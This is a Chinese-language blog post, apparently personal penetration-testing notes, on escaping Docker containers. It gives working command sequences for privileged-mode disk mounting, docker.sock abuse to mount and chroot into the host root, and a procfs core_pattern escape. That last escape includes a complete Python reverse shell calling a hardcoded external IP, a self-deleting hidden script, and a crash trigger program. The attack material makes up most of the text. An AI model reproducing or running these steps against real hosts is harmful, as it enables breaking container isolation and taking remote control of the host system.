Skip to main content

Docker-逃逸-安全

·274 words·2 mins
IIIIIIIIIIII
Author
IIIIIIIIIIII
A little bit about you

Docker-逃逸-安全-挂载-特权
#

如何判断在不在docker环境
#

容器逃逸方法检测指北 | T Wiki

1.cat /proc/1/cgroup | grep -qi docker && echo "Is Docker" || echo "Not Docker"
2.检查/.dockerenv文件
3.检查mount信息
4.查看硬盘 fdisk -l

如果测试了特权不行,socket,挂载都没有,就测试docker漏洞,内核漏洞,翻数据库文件找和主目录有交集的文件
如果是JAVA应用你进去就是ROOT 就考虑逃逸
如果是WWW那么还要加一步提权到ROOT 再到逃逸

目录挂载如果有etc啊log就不确定能不能获得关键信息了

特权模式逃逸
#

docker run --rm --privileged=true -it alpine  启动交互终端 名字叫alpine 停止就删除 并且 有特权模式的docker镜像

拿去后进入一个终端可以发现根目录下就有docker特征—确定在docker里面了

nmap
NMAP扫描

判断是否是特权模式
#

cat /proc/self/status | grep CapEff 
如果在容器内部执行下面的命令,从而判断容器是不是特权模式,如果是以特权模式启动的话,CapEff 对应的掩码值应该为0000003fffffffff 或者是 0000001fffffffff

特权模式挂载逃逸
#

特权模式查看磁盘信息

现在我们的test里面就是根目录信息

fdisk -l
mkdir /test && mount /dev/sda1 /test
挂载了 真机的物理分区 /dev/sda1 到容器内的 /test 目录,实现了容器与真机之间的 文件系统共享

往test里面对应就是根目录写入的文件对应显示真机目录

nmap
NMAP扫描

下一步写入计划任务反弹SHELL

Docker Socket 逃逸
#

docker run -itd --name with_docker_sock -v /var/run/docker.sock:/var/run/docker.sock ubuntu
探测存不存在sock
ls -lah /var/run/docker.sock 如果存在这个文件,说明漏洞可能存在
容器内部安docker客户端
docker exec -it with_docker_sock /bin/bash
apt-get update
apt-get install curl
curl -fsSL https://get.docker.com/ | sh
安装失败就手动安装
apt-get install -y docker-ce docker-ce-cli containerd.io docker-compose-plugin docker-ce-rootless-extras docker-buildx-plugin

执行docker命令逃逸
docker run -it -v /:/host ubuntu /bin/bash   -v /:/host:将宿主机的根目录(/)挂载到容器内的 /host 目录对 /host 的操作会直接影响宿主机的文件系统
chroot /host  改变根目录

不是特权但是在docker环境并且发现sock文件

nmap
NMAP扫描

挂载成功逃逸成功

nmap
NMAP扫描

docker-procfs逃逸
#

docker run -it -v /proc/sys/kernel/core_pattern:/host/proc/sys/kernel/core_pattern ubuntu 启动docker

find / -name core_pattern 检查是否存在漏洞 如果有两个就表示有
cat /proc/mounts | xargs -d ',' -n 1 | grep workdir 检查工作目录绝对路径
安装gcc apt-get update -y && apt-get install gcc -y

找到工作目录

workdir=/var/lib/docker/overlay2/61934ad893e443d362bd64e7d78111896fefcfaaed6b550f0a185d9745465676/work 0 0

nmap
NMAP扫描

cat >/tmp/.x.py << EOF
#!/usr/bin/python
import os
import pty
import socket
lhost = "116.62.32.64"  
lport = 5566
def main():
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((lhost, lport))
    os.dup2(s.fileno(), 0)
    os.dup2(s.fileno(), 1)
    os.dup2(s.fileno(), 2)
    os.putenv("HISTFILE", '/dev/null')
    pty.spawn("/bin/bash")
    os.remove('/tmp/.x.py')
    s.close()
if __name__ == "__main__":
    main()
EOF
设置好反弹的IP以及端口
chmod 777 .x.py 给权限

nmap
NMAP扫描

echo -e "|/var/lib/docker/overlay2/61934ad893e443d362bd64e7d78111896fefcfaaed6b550f0a185d9745465676/merged/tmp/.x.py \rcore           " > /host/proc/sys/kernel/core_pattern

设置好挂载路径与工作路径对应

cat >/tmp/x.c << EOF

#include <stdio.h>

int main(void)

{

 int *a = NULL;

   *a = 1;

  return 0;

}

EOF

gcc x.c -o x  编译
执行文件:
./x  
nc -lvvp xxxx

反弹成功

nmap
NMAP扫描

Related

红日靶场4
·242 words·2 mins
红日靶场7-WP-MS17-010-WMI-laravel-docker-exp
云上服务-OSS存储桶渗透-AKSK两种利用特征
·272 words·2 mins
JWT渗透相关
·125 words·1 min
Wechat渗透相关抓包反编译
·56 words·1 min